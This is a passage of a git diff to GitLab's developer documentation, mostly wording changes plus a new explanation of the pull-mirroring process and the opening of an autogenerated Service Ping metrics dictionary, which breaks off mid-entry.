As a follow up to finding `N+1` queries with Bullet, consider writing a [QueryRecoder test](query_recorder.md) to prevent a regression.
diff --git a/doc/development/pry_debugging.md b/doc/development/pry_debugging.md
index 402029164a7..5481da348e8 100644
--- a/doc/development/pry_debugging.md
+++ b/doc/development/pry_debugging.md
@@ -129,7 +129,7 @@ end
## Repeat last command
You can repeat the last command by just hitting the <kbd>Enter</kbd>
-key (e.g., with `step` or`next`), if you place the following snippet
+key (for example, with `step` or`next`), if you place the following snippet
in your `~/.pryrc`:
```ruby
diff --git a/doc/development/query_performance.md b/doc/development/query_performance.md
index 3ff36c7d005..318d9f46aff 100644
--- a/doc/development/query_performance.md
+++ b/doc/development/query_performance.md
@@ -21,7 +21,7 @@ When you are optimizing your SQL queries, there are two dimensions to pay attent
| Queries in a migration | `100ms` | This is different than the total [migration time](database_review.md#timing-guidelines-for-migrations). |
| Concurrent operations in a migration | `5min` | Concurrent operations do not block the database, but they block the GitLab update. This includes operations such as `add_concurrent_index` and `add_concurrent_foreign_key`. |
| Background migrations | `1s` | |
-| Usage Ping | `1s` | See the [usage ping docs](usage_ping/index.md#developing-and-testing-usage-ping) for more details. |
+| Service Ping | `1s` | See the [Service Ping docs](service_ping/index.md#developing-and-testing-service-ping) for more details. |
- When analyzing your query's performance, pay attention to if the time you are seeing is on a [cold or warm cache](#cold-and-warm-cache). These guidelines apply for both cache types.
- When working with batched queries, change the range and batch size to see how it effects the query timing and caching.
diff --git a/doc/development/query_recorder.md b/doc/development/query_recorder.md
index 46866f67f68..8759bd09538 100644
--- a/doc/development/query_recorder.md
+++ b/doc/development/query_recorder.md
@@ -48,7 +48,7 @@ end
Use a [request spec](https://gitlab.com/gitlab-org/gitlab-foss/tree/master/spec/requests) when writing a N+1 test on the controller level.
Controller specs should not be used to write N+1 tests as the controller is only initialized once per example.
-This could lead to false successes where subsequent "requests" could have queries reduced (e.g. because of memoization).
+This could lead to false successes where subsequent "requests" could have queries reduced (for example, because of memoization).
## Finding the source of the query
diff --git a/doc/development/rails_initializers.md b/doc/development/rails_initializers.md
index 89902c81cd5..ee73dac2b72 100644
--- a/doc/development/rails_initializers.md
+++ b/doc/development/rails_initializers.md
@@ -19,4 +19,4 @@ Ruby files in this folder are loaded in alphabetical order just like the default
Some examples where you would need to do this are:
1. Modifying Rails' `config.autoload_paths`
-1. Changing configuration that Zeitwerk uses, e.g. inflections
+1. Changing configuration that Zeitwerk uses, for example, inflections
diff --git a/doc/development/rake_tasks.md b/doc/development/rake_tasks.md
index 8d20c2b738e..6b2b941a0c1 100644
--- a/doc/development/rake_tasks.md
+++ b/doc/development/rake_tasks.md
@@ -249,6 +249,13 @@ git push -u origin update-project-templates
Now create a merge request and merge that to main.
+To update just a single template instead of all of them, specify the template name
+between square brackets. For example, for the `cluster_management` template, run:
+
+```shell
+bundle exec rake gitlab:update_project_templates\[cluster_management\]
+```
+
## Generate route lists
To see the full list of API routes, you can run:
diff --git a/doc/development/reactive_caching.md b/doc/development/reactive_caching.md
index b6878ee48f1..3c0a1419604 100644
--- a/doc/development/reactive_caching.md
+++ b/doc/development/reactive_caching.md
@@ -72,27 +72,27 @@ For more information, read the internal issue
## How to use
-### In models and services
+### In models and integrations
-The ReactiveCaching concern can be used in models as well as `project_services`
-(`app/models/project_services`).
+The ReactiveCaching concern can be used in models as well as `integrations`
+(`app/models/integrations`).
-1. Include the concern in your model or service.
+1. Include the concern in your model or integration.
- When including in a model:
+ To include the concern in a model:
```ruby
include ReactiveCaching
```
- or when including in a `project_service`:
+ To include the concern in an integration:
```ruby
include ReactiveService
```
-1. Implement the `calculate_reactive_cache` method in your model/service.
-1. Call `with_reactive_cache` in your model/service where the cached value is needed.
+1. Implement the `calculate_reactive_cache` method in your model or integration.
+1. Call `with_reactive_cache` in your model or integration where the cached value is needed.
1. Set the [`reactive_cache_work_type` accordingly](#selfreactive_cache_work_type).
### In controllers
@@ -258,7 +258,7 @@ self.reactive_cache_hard_limit = 5.megabytes
- This is the type of work performed by the `calculate_reactive_cache` method. Based on this attribute,
it's able to pick the right worker to process the caching job. Make sure to
set it as `:external_dependency` if the work performs any external request
-(e.g. Kubernetes, Sentry); otherwise set it to `:no_dependency`.
+(for example, Kubernetes, Sentry); otherwise set it to `:no_dependency`.
#### `self.reactive_cache_worker_finder`
diff --git a/doc/development/redis.md b/doc/development/redis.md
index 893fe1dcbcd..e631a6ec80c 100644
--- a/doc/development/redis.md
+++ b/doc/development/redis.md
@@ -20,7 +20,6 @@ On GitLab.com, we use [separate Redis
instances](../administration/redis/replication_and_failover.md#running-multiple-redis-clusters).
See the [Redis SRE guide](https://gitlab.com/gitlab-com/runbooks/-/blob/master/docs/redis/redis-survival-guide-for-sres.md)
for more details on our setup.
-We do not currently use [ActionCable on GitLab.com](https://gitlab.com/groups/gitlab-com/gl-infra/-/epics/228).
Every application process is configured to use the same Redis servers, so they
can be used for inter-process communication in cases where [PostgreSQL](sql.md)
diff --git a/doc/development/refactoring_guide/index.md b/doc/development/refactoring_guide/index.md
index a25000589c0..a6ed83258f3 100644
--- a/doc/development/refactoring_guide/index.md
+++ b/doc/development/refactoring_guide/index.md
@@ -14,7 +14,7 @@ Pinning tests help you ensure that you don't unintentionally change the output o
### Example steps
-1. Identify all the possible inputs to the refactor subject (e.g. anything that's injected into the template or used in a conditional).
+1. Identify all the possible inputs to the refactor subject (for example, anything that's injected into the template or used in a conditional).
1. For each possible input, identify the significant possible values.
1. Create a test to save a full detailed snapshot for each helpful combination values per input. This should guarantee that we have "pinned down" the current behavior. The snapshot could be literally a screenshot, a dump of HTML, or even an ordered list of debugging statements.
1. Run all the pinning tests against the code, before you start refactoring (Oracle)
diff --git a/doc/development/renaming_features.md b/doc/development/renaming_features.md
index f7fc1c11e37..bd25fa1377e 100644
--- a/doc/development/renaming_features.md
+++ b/doc/development/renaming_features.md
@@ -12,7 +12,7 @@ Sometimes the business asks to change the name of a feature. Broadly speaking, t
- Pros: does not increase code complexity.
- Cons: more work to execute, and higher risk of immediate bugs.
- Façade, rename as little as possible; only the user-facing content like interfaces,
- documentation, error messages, etc.
+ documentation, error messages, and so on.
- Pros: less work to execute.
- Cons: increases code complexity, creating higher risk of future bugs.
diff --git a/doc/development/repository_mirroring.md b/doc/development/repository_mirroring.md
index 61157c88618..bb4c62d70ee 100644
--- a/doc/development/repository_mirroring.md
+++ b/doc/development/repository_mirroring.md
@@ -11,11 +11,41 @@ info: To determine the technical writer assigned to the Stage/Group associated w
<!-- vale gitlab.Spelling = NO -->
In December 2018, Tiago Botelho hosted a Deep Dive (GitLab team members only: `https://gitlab.com/gitlab-org/create-stage/issues/1`)
-on the GitLab [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pulling-from-a-remote-repository)
+on the GitLab [Pull Repository Mirroring functionality](../user/project/repository/repository_mirroring.md#pull-from-a-remote-repository)
to share his domain specific knowledge with anyone who may work in this part of the
codebase in the future. You can find the <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> [recording on YouTube](https://www.youtube.com/watch?v=sSZq0fpdY-Y),
and the slides in [PDF](https://gitlab.com/gitlab-org/create-stage/uploads/8693404888a941fd851f8a8ecdec9675/Gitlab_Create_-_Pull_Mirroring_Deep_Dive.pdf).
Everything covered in this deep dive was accurate as of GitLab 11.6, and while specific
details may have changed since then, it should still serve as a good introduction.
-<!-- vale gitlab.Spelling = YES --> \ No newline at end of file
+<!-- vale gitlab.Spelling = YES -->
+
+## Explanation of mirroring process
+
+GitLab version 14 performs these steps when an
+[API call](../api/projects.md#start-the-pull-mirroring-process-for-a-project)
+triggers a pull mirror. Scheduled mirror updates are similar, but do not start with the API call:
+
+1. The request originates from an API call, and triggers the `start_pull_mirroring_service` in
+ [`project_mirror.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/api/project_mirror.rb).
+1. The pull mirroring service
+ ([`start_pull_mirroring_service.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/services/start_pull_mirroring_service.rb)) starts. It updates the project state, and forces the job to start immediately.
+1. The project import state is updated, and then triggers an `update_all_mirrors_worker` in
+ [`project_import_state.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/ee/project_import_state.rb#L170).
+1. The update all mirrors worker
+ ([`update_all_mirrors_worker.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/update_all_mirrors_worker.rb))
+ attempts to avoid stampedes by calling the `project_import_schedule` worker.
+1. The project import schedule worker
+ ([`project_import_schedule_worker.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/project_import_schedule_worker.rb#L21)) updates the state of the project, and
+ starts a Ruby `state_machine` to manage the import transition process.
+1. While updating the project state,
+ [this call in `project.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/models/ee/project.rb#L426)
+ starts the `repository_update_mirror` worker.
+1. The Sidekiq background mirror workers
+ ([`repository_update_mirror_worker.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/workers/repository_update_mirror_worker.rb)) track the state of the mirroring task, and
+ provide good error state information. Processes can hang here, because this step manages the Git steps.
+1. The update mirror service
+ ([`update_mirror_service.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/app/services/projects/update_mirror_service.rb))
+ performs the Git operations.
+
+The import and mirror update processes are complete after the update mirror service step. However, depending on the changes included, more tasks (such as pipelines for commits) can be triggered.
diff --git a/doc/development/reusing_abstractions.md b/doc/development/reusing_abstractions.md
index 1e200e1f520..ded6b074324 100644
--- a/doc/development/reusing_abstractions.md
+++ b/doc/development/reusing_abstractions.md
@@ -215,7 +215,7 @@ provided by Active Record are not included, except for the following methods:
### Active Record
The API provided by Active Record itself, such as the `where` method, `save`,
-`delete_all`, etc.
+`delete_all`, and so on.
### Worker
diff --git a/doc/development/scalability.md b/doc/development/scalability.md
index b260618c220..824c98b4b03 100644
--- a/doc/development/scalability.md
+++ b/doc/development/scalability.md
@@ -23,7 +23,7 @@ users. We discuss each component below.
### PostgreSQL
The PostgreSQL database holds all metadata for projects, issues, merge
-requests, users, etc. The schema is managed by the Rails application
+requests, users, and so on. The schema is managed by the Rails application
[db/structure.sql](https://gitlab.com/gitlab-org/gitlab/-/blob/master/db/structure.sql).
GitLab Web/API servers and Sidekiq nodes talk directly to the database by using a
@@ -91,7 +91,7 @@ ownership. It shares a lot of challenges with traditional, data-oriented
sharding, however. For instance, joining data has to happen in the
application itself rather than on the query layer (although additional
layers like GraphQL might mitigate that) and it requires true
-parallelism to run efficiently (i.e. a scatter-gather model to collect,
+parallelism to run efficiently (that is, a scatter-gather model to collect,
then zip up data records), which is a challenge in itself in Ruby based
systems.
@@ -243,7 +243,7 @@ Ruby on Rails applications. In GitLab, Sidekiq performs the heavy
lifting of many activities, including:
- Updating merge requests after a push.
-- Sending e-mails.
+- Sending email messages.
- Updating user authorizations.
- Processing CI builds and pipelines.
@@ -276,7 +276,7 @@ in a timely manner:
this to `ProcessCommitWorker`.
- Redistribute/gerrymander Sidekiq processes by queue
types. Long-running jobs (for example, relating to project import) can often
- squeeze out jobs that run fast (for example, delivering e-mail). [This technique
+ squeeze out jobs that run fast (for example, delivering email). [This technique
was used in to optimize our existing Sidekiq deployment](https://gitlab.com/gitlab-com/gl-infra/infrastructure/-/issues/7219#note_218019483).
- Optimize jobs. Eliminating unnecessary work, reducing network calls
(including SQL and Gitaly), and optimizing processor time can yield significant
diff --git a/doc/development/secure_coding_guidelines.md b/doc/development/secure_coding_guidelines.md
index 74f65034383..fc60c1d7d7f 100644
--- a/doc/development/secure_coding_guidelines.md
+++ b/doc/development/secure_coding_guidelines.md
@@ -49,7 +49,7 @@ Each time you implement a new feature/endpoint, whether it is at UI, API or Grap
- Do not forget **abuse cases**: write specs that **make sure certain things can't happen**
- A lot of specs are making sure things do happen and coverage percentage doesn't take into account permissions as same piece of code is used.
- Make assertions that certain actors cannot perform actions
-- Naming convention to ease auditability: to be defined, e.g. a subfolder containing those specific permission tests or a `#permissions` block
+- Naming convention to ease auditability: to be defined, for example, a subfolder containing those specific permission tests or a `#permissions` block
Be careful to **also test [visibility levels](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/master/doc/development/permissions.md#feature-specific-permissions)** and not only project access rights.
@@ -59,13 +59,13 @@ Some example of well implemented access controls and tests:
1. [example2](https://dev.gitlab.org/gitlab/gitlabhq/-/merge_requests/2511/diffs#ed3aaab1510f43b032ce345909a887e5b167e196_142_155)
1. [example3](https://dev.gitlab.org/gitlab/gitlabhq/-/merge_requests/3170/diffs?diff_id=17494)
-**NB:** any input from development team is welcome, e.g. about Rubocop rules.
+**NB:** any input from development team is welcome, for example, about Rubocop rules.
## Regular Expressions guidelines
### Anchors / Multi line
-Unlike other programming languages (e.g. Perl or Python) Regular Expressions are matching multi-line by default in Ruby. Consider the following example in Python:
+Unlike other programming languages (for example, Perl or Python) Regular Expressions are matching multi-line by default in Ruby. Consider the following example in Python:
```python
import re
diff --git a/doc/development/serializing_data.md b/doc/development/serializing_data.md
index f5924a44753..48e756d015b 100644
--- a/doc/development/serializing_data.md
+++ b/doc/development/serializing_data.md
@@ -35,7 +35,7 @@ turn there's no way to query the data at all.
## Waste Of Space
Storing serialized data such as JSON or YAML will end up wasting a lot of space.
-This is because these formats often include additional characters (e.g. double
+This is because these formats often include additional characters (for example, double
quotes or newlines) besides the data that you are storing.
## Difficult To Manage
@@ -69,9 +69,9 @@ can easily take hours or even days to complete.
## Relational Databases Are Not Document Stores
When storing data as JSON or YAML you're essentially using your database as if
-it were a document store (e.g. MongoDB), except you're not using any of the
+it were a document store (for example, MongoDB), except you're not using any of the
powerful features provided by a typical RDBMS _nor_ are you using any of the
-features provided by a typical document store (e.g. the ability to index fields
+features provided by a typical document store (for example, the ability to index fields
of documents with variable fields). In other words, it's a waste.
## Consistent Fields
diff --git a/doc/development/service_ping/dictionary.md b/doc/development/service_ping/dictionary.md
new file mode 100644
index 00000000000..153c385c4bb
--- /dev/null
+++ b/doc/development/service_ping/dictionary.md
@@ -0,0 +1,23249 @@
+---
+stage: Growth
+group: Product Intelligence
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+---
+
+<!---
+ This documentation is auto generated by a script.
+
+ Please do not edit this file directly, check generate_metrics_dictionary task on lib/tasks/gitlab/usage_data.rake.
+--->
+
+# Metrics Dictionary
+
+This file is autogenerated, please do not edit directly.
+
+To generate these files from the GitLab repository, run:
+
+```shell
+bundle exec rake gitlab:usage_data:generate_metrics_dictionary
+```
+
+The Metrics Dictionary is based on the following metrics definition YAML files:
+
+- [`config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/config/metrics)
+- [`ee/config/metrics`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/ee/config/metrics)
+
+Each table includes a `milestone`, which corresponds to the GitLab version when the metric
+was released.
+
+<!-- vale off -->
+<!-- Docs linting disabled after this line. -->
+<!-- See https://docs.gitlab.com/ee/development/documentation/testing.html#disable-vale-tests -->
+
+## Metrics Definitions
+
+### `active_user_count`
+
+The number of active users existing in the instance. This is named the instance_user_count in the Versions application.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210204124829_active_user_count.yml)
+
+Group: `group::product intelligence`
+
+Data Category: `Subscription`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `analytics_unique_visits.analytics_unique_visits_for_any_target`
+
+Unique visitors to any analytics feature by week
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174908_analytics_unique_visits_for_any_target.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.analytics_unique_visits_for_any_target_monthly`
+
+Unique visitors to any analytics feature by month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_28d/20210216174910_analytics_unique_visits_for_any_target_monthly.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_contribution`
+
+Unique visitors to /groups/:group/-/contribution_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174836_g_analytics_contribution.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_insights`
+
+Unique visitors to /groups/:group/-/insights
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174838_g_analytics_insights.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_issues`
+
+Unique visitors to /groups/:group/-/issues_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174840_g_analytics_issues.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_merge_request`
+
+Unique visitors to /groups/:group/-/analytics/merge_request_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174902_g_analytics_merge_request.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `removed`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_productivity`
+
+Unique visitors to /groups/:group/-/analytics/productivity_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174842_g_analytics_productivity.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.g_analytics_valuestream`
+
+Unique visitors to /groups/:group/-/analytics/value_stream_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174844_g_analytics_valuestream.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.i_analytics_cohorts`
+
+Unique visitors to /-/instance_statistics/cohorts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174858_i_analytics_cohorts.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.i_analytics_dev_ops_adoption`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers:
+
+### `analytics_unique_visits.i_analytics_dev_ops_score`
+
+Unique visitors to /-/instance_statistics/dev_ops_score
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174900_i_analytics_dev_ops_score.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.i_analytics_instance_statistics`
+
+Unique visitors to/admin/usage_trends
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174906_i_analytics_instance_statistics.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_code_reviews`
+
+Unique visitors to /:group/:project/-/analytics/code_reviews
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174848_p_analytics_code_reviews.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_insights`
+
+Unique visitors to /:group/:project/insights
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174852_p_analytics_insights.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_issues`
+
+Unique visitors to /:group/:project/-/analytics/issues_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174854_p_analytics_issues.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_merge_request`
+
+Unique visitors to /:group/:project/-/analytics/merge_request_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216174904_p_analytics_merge_request.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_pipelines`
+
+Unique visitors to /:group/:project/pipelines/charts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174846_p_analytics_pipelines.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_repo`
+
+Unique visitors to /:group/:project/-/graphs/master/charts
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174856_p_analytics_repo.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.p_analytics_valuestream`
+
+Unique visitors to /:group/:project/-/value_stream_analytics
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216174850_p_analytics_valuestream.yml)
+
+Group: `group::optimize`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `analytics_unique_visits.users_viewing_analytics_group_devops_adoption`
+
+Missing description
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml)
+
+Group: ``
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `compliance_unique_visits.a_compliance_audit_events_api`
+
+Unique users that have used the Audit Events API.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183912_a_compliance_audit_events_api.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.compliance_unique_visits_for_any_target`
+
+Number of unique visits to any compliance page
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183914_compliance_unique_visits_for_any_target.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.compliance_unique_visits_for_any_target_monthly`
+
+Number of unique visits to any compliance page over a given month
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_28d/20210216183916_compliance_unique_visits_for_any_target_monthly.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.g_compliance_audit_events`
+
+Unique users who have viewed audit events
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183906_g_compliance_audit_events.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.g_compliance_dashboard`
+
+Number of unique visitors to the compliance dashboard.
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183904_g_compliance_dashboard.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.i_compliance_audit_events`
+
+Unique users that have viewed the instance-level audit events screen
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183908_i_compliance_audit_events.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `compliance_unique_visits.i_compliance_credential_inventory`
+
+Unique users who have viewed the credential inventory
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216183910_i_compliance_credential_inventory.yml)
+
+Group: `group::compliance`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `ultimate`
+
+### `container_registry_enabled`
+
+A count of projects where the container registry is enabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/settings/20210204124858_container_registry_enabled.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `container_registry_server.vendor`
+
+Identifies if a user is using an external container registry and what type
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181051_vendor.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `container_registry_server.version`
+
+Identifies the version of the external registry being used
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/20210216181053_version.yml)
+
+Group: `group::package`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.alert_bot_incident_issues`
+
+Count of issues created by the alert bot automatically
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180449_alert_bot_incident_issues.yml)
+
+Group: `group::monitor`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.all_searches`
+
+Total Searches for All Basic Search and Advanced Search in self-managed and SaaS
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180413_all_searches.yml)
+
+Group: `group::global search`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.api_fuzzing_dnd_jobs`
+
+Count of API Fuzzing `docker-in-docker` jobs run by job name
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180346_api_fuzzing_dnd_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.api_fuzzing_jobs`
+
+Count of API Fuzzing jobs run by job name
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216180344_api_fuzzing_jobs.yml)
+
+Group: `group::fuzz testing`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.assignee_lists`
+
+Count of assignee lists created on Boards
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/config/metrics/counts_all/20210216181100_assignee_lists.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `premium`, `ultimate`
+
+### `counts.auto_devops_disabled`
+
+Projects with Auto DevOps template disabled
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175231_auto_devops_disabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.auto_devops_enabled`
+
+Projects with Auto DevOps template enabled (excluding implicit Auto DevOps enabled and Auto DevOps template includes)
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175229_auto_devops_enabled.yml)
+
+Group: `group::configure`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.boards`
+
+Count of Boards created
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216181252_boards.yml)
+
+Group: `group::project management`
+
+Data Category: `Optional`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_builds`
+
+Unique builds in project
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175510_ci_builds.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_external_pipelines`
+
+Total pipelines in external repositories
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175514_ci_external_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`
+
+### `counts.ci_internal_pipelines`
+
+Total pipelines in GitLab repositories
+
+[YAML definition](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/counts_all/20210216175512_ci_internal_pipelines.yml)
+
+Group: `group::pipeline execution`
+
+Data Category: `Operational`
+
+Status: `data_available`
+
+Tiers: `free`, `premium`, `ultimate`
+
+### `counts.ci_pipeline_config_auto_devops`
+
